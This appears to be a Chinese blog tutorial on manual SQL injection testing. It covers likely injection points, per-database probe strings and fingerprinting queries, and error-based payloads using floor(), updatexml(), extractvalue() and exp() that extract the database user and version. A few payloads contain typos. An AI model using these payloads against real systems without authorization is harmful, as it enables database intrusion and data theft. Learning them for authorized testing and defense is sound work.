一、SQL注入可以分为三个步骤
1.识别Web应用与数据库交互的可能输入(识别潜在注入点)
2.SQL注入语句测试
3.根据服务器返回判定注入语句是否影响了SQL执行结果以判断是否存在SQL注入
2.识别Web应用与数据库交互的可能输入点
GET请求参数
POST请求参数
Cookie
X-Forword-For
User-Agent
Refer
Host
3.SQL语句测试
由于现在许多web站点都受到WAF防护或者应用开发者自带的代码层Filter,在判断是否存在Sql注入时,
测试payload越简单越好
| 数字型 | 数字型 | 字符型 | 字符型 |
| 测试语句 | 预期结果 | 测试语句 | 预期结果 |
Oracle | ' | 出现异常 | ' | 出现异常 |
| +-&/ | 运算被执行 | '||' | 字符串拼接,返回与原来相同 |
DB2 | ' | 出现异常 | ' | 出现异常 |
| +-&/ | 运算被执行 | '||' | 字符串拼接,返回与原来相同 |
SQL Server | +-&/ | 运算被执行 | ' | 出现异常 |
| ' | 出现异常 | '+' | 字符串拼接,返回与原来相同 |
MySQL | +-&/ | 运算被执行 | ' | 出现异常 |
| ' | 出现异常 | '空格' | 字符串拼接,返回与原来相同 |
4.确认SQL注入
确认数据库类型
基于应用开发语言判断
基于报错信息判断
基于特有函数/语句判断
基于特有数据表判断
基于应用开发语言判断
ORACLE: | JAVA |
DB2: | JAVA |
SQL Server: | C#、ASP、.NET |
MYSQL : | PHP、JAVA |
基于报错信息判断数据库类型
Oracle:
###Error querying datgbase.Cause:java.sql.SQLsyntaxErrorException:ORA-01756:quoted string not properly terminated
SQL Server:
###Microsoft OLE DB Provider for SQLServer 错误‘80040e14"
MYSQL:
You have an error in your SQL syntax;check the manual that corresponds to your MySQL server verslor for the right syntax to use near 1"LIMIt 0,I at line 1
基于特有函数/语句判断数据库类型
| 用户 | 字符连接 | 数据库名 | 版本 | 取位函数 | … |
Oracle | user | || | Select global_name from global name | Select version from v$instance | substr |
|
DB2 | user | || | Select current server from sysibm.sysdummy1 | -- | Substr() |
|
SQL Server | User User_name() | + | db_name() | @@version | Substring() |
|
MySQL | User() | space | database() | Version() @@version | Substr() substring |
|
基于特有的数据表判断
Oracle | And (select count(*) from sys.user_tables)>0 |
DB2 | And (select count(*) from sysibm.systables)>0 |
SQL server | And (select count(*) from sysobjects)>0 |
Mysql | And (select count(*) from information_schema.tables)>0 |
|
|
5.确认SQL注入方式
SQL注入按照注入方式分类可分为两类
显示注入
Union query | #联合查询注入,通过union联合查询获取查询结果 |
Error based | #报错注入,通过报错信息获取查询结果 |
盲注
Boolean based blind | #布尔盲注,通过应用返回不同的值判断田间真假 |
Time based blind | #时间盲注,通过不同的时间延迟推断条件真假 |
优先级:union query ≥ error based ≥ Boolean based blind ≥ time based blind
union注入:比较简单,就不赘述,如有需求可至主页查看博客
报错注入:
前提:应用可以输出数据库报错信息
floor()
And (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
Upadtexml()
And 1=(updatexml(1.concat(0x3a,(select user()),1))
Extractvalue()
And extractvalue(1,concat(0x5c,(select user())))
Exp()
And exp (~select * from(select user())a))
布尔盲注
时间延迟注入
这俩用sqlmap吧,手工会累死人的